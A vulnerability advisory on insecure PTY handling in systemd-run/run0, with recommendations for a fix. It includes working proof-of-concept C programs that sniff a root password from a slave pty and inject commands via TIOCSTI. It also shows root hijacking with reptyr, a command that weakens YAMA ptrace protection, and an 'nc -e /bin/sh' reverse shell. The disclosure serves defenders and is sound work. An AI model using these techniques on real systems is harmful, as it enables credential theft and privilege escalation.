Systemd Insecure PTY Handling Vulnerability
===========================================
CVSSv3.BaseScore: 5.8
CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N
Short Description
=================
Systemd-run/run0 allocates user-owned pty's and attaches the slave
to high privilege programs without changing ownership or locking
the pty slave.
Description
===========
Systemd-run/run0 is working towards a "sudo"-like replacement for
v256 that is based on the existing policykit and d-bus based "systemd-run"
transient service execution. The code in "src/run/run.c" on line 1673
creates a PTY master and slave used for this process, and the slave
name is passed to unlockpt() on line 1689. This allows any process to
connect to e.g. "/dev/pts/4" slave interface, this interface is created
under the local user context executing "systemd-run". The code subsequently
uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication
by policykit is approved, the slave end of the pty created will be
attached to the privileged executed program. As the slave interface
is not locked to the privilege level of the newly executed process,
a vulnerability is introduced to the system as any same-user process
can now interact with the slave end of the root program.
Exploitation
============
This issue can be exploited by opening a handle to the slave interface
and using terminal I/O routines such as read() to access the input of
the root program. Slave PTY's are not designed for multiple programs to
access them and this has the unintended effect of redirecting input
intended for the privileged program back to unprivileged processes, an
example code "ptysniff.c" is provided here and terminal output that shows
the issue being used to read input from a systemd-run executed "passwd"
program, returning the password intended for the root program back to the
local user.
User Terminal
=============
The user executes systemd with "--pty" to allocate a new "root" pty and
execute "passwd" in the new terminal.
fantastic@fantastic-pc /dev/pts systemd-run --pty passwd
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to manage system services or other units.
Authenticating as: fantastic
Password:
==== AUTHENTICATION COMPLETE ====
Running as unit: run-u63.service
Press ^] three times within 1s to disconnect TTY.
New password:
Retype new password:
Attacker Terminal
=================
The slave end of the systemd-run terminal is still owned by the local user
context, "/dev/pts/5" in the example above - allowing ptysniff to read the
password input intended to be sent to "passwd".
fantastic@fantastic-pc /Work/voldermort ls -al /dev/pts/5
Permissions Size User Date Modified Name
crw--w---- 136,5 fantastic 4 May 08:51 /dev/pts/5
fantastic@fantastic-pc /Work/voldermort ./ptysniff /dev/pts/5
Received: p
Received: a
Received: s
Received: s
Received: w
Received: o
Received: r
Received: d
Received:
/* ptysniff.c - read from a slave pts used by a higher privileged program */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#define BUF_SIZE 1024
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);
return 1;
}
int fd = open(argv[1], O_RDWR | O_NOCTTY);
if (fd == -1) {
perror("open");
return 1;
}
char buf[BUF_SIZE];
ssize_t numRead;
while (1) {
if (flock(fd, LOCK_EX) == -1) {
perror("flock");
return 1;
}
numRead = read(fd, buf, BUF_SIZE - 1);
if (numRead == -1) {
perror("read");
return 1;
}
for (int i = 0; i < numRead; i++) {
printf("Received: %c\n", buf[i]);
}
if (flock(fd, LOCK_UN) == -1) {
perror("flock");
return 1;
}
}
return 0;
}
Recommendation
==============
It is recommended the systemd-run created pty slave interface
is chown()'d to the same user as the privileged execution context
that it operates, this would result in "permission denied" when
attempting to attach another program to the slave end of the pty.
Additional Information
======================
In addition to the vulnerability outlined above, it is possible to
exploit the problem to execute commands or completely hijack the
root owned program from the same-user context when other conditions
are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a
protection that limits the use of ptrace for debugging purposes.
With ptrace_classic set to enabled, such as with the following
command.
"echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope"
It is possible to simply read the master fd for the pty from the
"systemd-run" application, and re-parent a process to use the
master end - hijacking the root program which would not be accessible
to ptrace. This can be done with GDB (set inferior tty) or a tool such
as "reptyr".
User Terminal
=============
fantastic@fantastic-pc /Work/systemd main systemd-run --shell
Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1
Press ^] three times within 1s to disconnect TTY.
[root@fantastic-pc systemd]#
Attacker Terminal
=================
fantastic@fantastic-pc /Work/systemd main ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty
fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)
/dev/pts/1
fantastic@fantastic-pc /Work/systemd main reptyr -T 5541
[root@fantastic-pc systemd]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc systemd]# tty
/dev/pts/0
Enabling ptrace_classic should not result in "root" permissions to unprivileged
users, many operating systems support debugging applications and can do so without
immediately giving away Administrative rights, YAMA is intended to provide this
protection. However, sessions and terminals started under "SSHD" for instance are
protected against these attacks through use of "prctl()" to prevent ptrace_attach
from connecting to the process, preventing them being read even with ptrace_classic.
This issue can also impact "su" and "sudo" and is a wider problem in Linux when
ptrace_classic is enabled. Ensure that production systems do not support the use
of ptrace_classic.
Another path of exploitation can also be undertaken by an attacker when ptrace_classic
is disabled, however they must be able to re-parent their tty or have control of execution
of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically
required only the same user-context to access the tty, however to limit these attacks Linux
now requires the process calling the ioctl() to be a descendant of the parent process using
the pty or have the pty set as its controlling terminal. An example is shown here, an attacker
uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run
by the parent. The source code for ptypwn.c is provided.
User Terminal
=============
fantastic@fantastic-pc tty
/dev/pts/3
fantastic@fantastic-pc nc -e /bin/sh localhost 1337 &
[1] 6926
fantastic@fantastic-pc systemd-run --shell
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to manage system services or other units.
Authenticating as: fantastic
Password:
==== AUTHENTICATION COMPLETE ====
Running as unit: run-u100.service
Press ^] three times within 1s to disconnect TTY.
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc fantastic]#
Attacker Terminal
=================
fantastic@fantastic-pc /Work/voldermort nc -v -v -l -p 1337
Listening on any address 1337 (menandmice-dns)
Connection from 127.0.0.1:49282
tty;id
not a tty
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)
./ptypwn /dev/pts/3
./ptypwn /dev/pts/3
./ptypwn /dev/pts/3
/* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <pts>\n", argv[0]);
return 1;
}
int fd = open(argv[1], O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "id\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}
Additionally systemd-run supports a "--pipe" operation which will simply connect the privileged
process to the same-user parent tty directly, this option should be removed entirely as it offers
no protection against the attacks outlined above.
PolicyKit / sudoer Configuration Discrepancy
============================================
It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux
environments where users are not permitted to execute commands through "sudo" but are permitted
to execute commands through policykit services such as "systemd-run". This can lead to attackers
who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run".
An example of this configuration error can be seen below, as "systemd-run" proposes to become a
"sudo" replacement, this issue has been included for completeness and for system administrators to
review their sudo and policykit configurations to ensure such discrepancies do not exist.
fantastic@fantastic-pc sudo su -
fantastic is not in the sudoers file.
fantastic@fantastic-pc systemd-run --shell
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to manage system services or other units.
Authenticating as: fantastic
Password:
==== AUTHENTICATION COMPLETE ====
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
TLDR; Conclusion
================
Systemd-run/run0 should chown() the created slave pty interface to the same user context
using the pty, this will limit privilege escalation opportunities within the system and
address the medium risk issue highlighted at the start of this advisory. The additional
information in this advisory discusses wider Linux pty security handling issues, insecure
configurations and thier exploitation naunces that can be leveraged for privilege escalation
attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar
threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain
elevated rights through insecure pipe handlers were quickly addressed. It is also noted that
despite the insecure system configurations, applications such as "SSHD" protect against some
of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening
on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()
is recommended, the Linux community should take note that the attacker threatscape has changed
significantly with a renewed interest in targetting these systems by adversaries - consideration
should be given to hardening PTY/TTY handling processes and protection against ptrace_classic
regardless when privileged system operations take place. Attackers are less likely to use
on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the
requested permissions at a later date without touching disk from implants or other malicious
code that has obtained execution in the contexts described above. In relation to security
boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to
persitent. This means that every request to systemd-run for elevation should present the user
with a password prompt, by exploiting this issue the elevation request behaves as persistent
for the lifecycle of the elevated program.
-- Hacker Fantastic 04/05/2024
https://hacker.house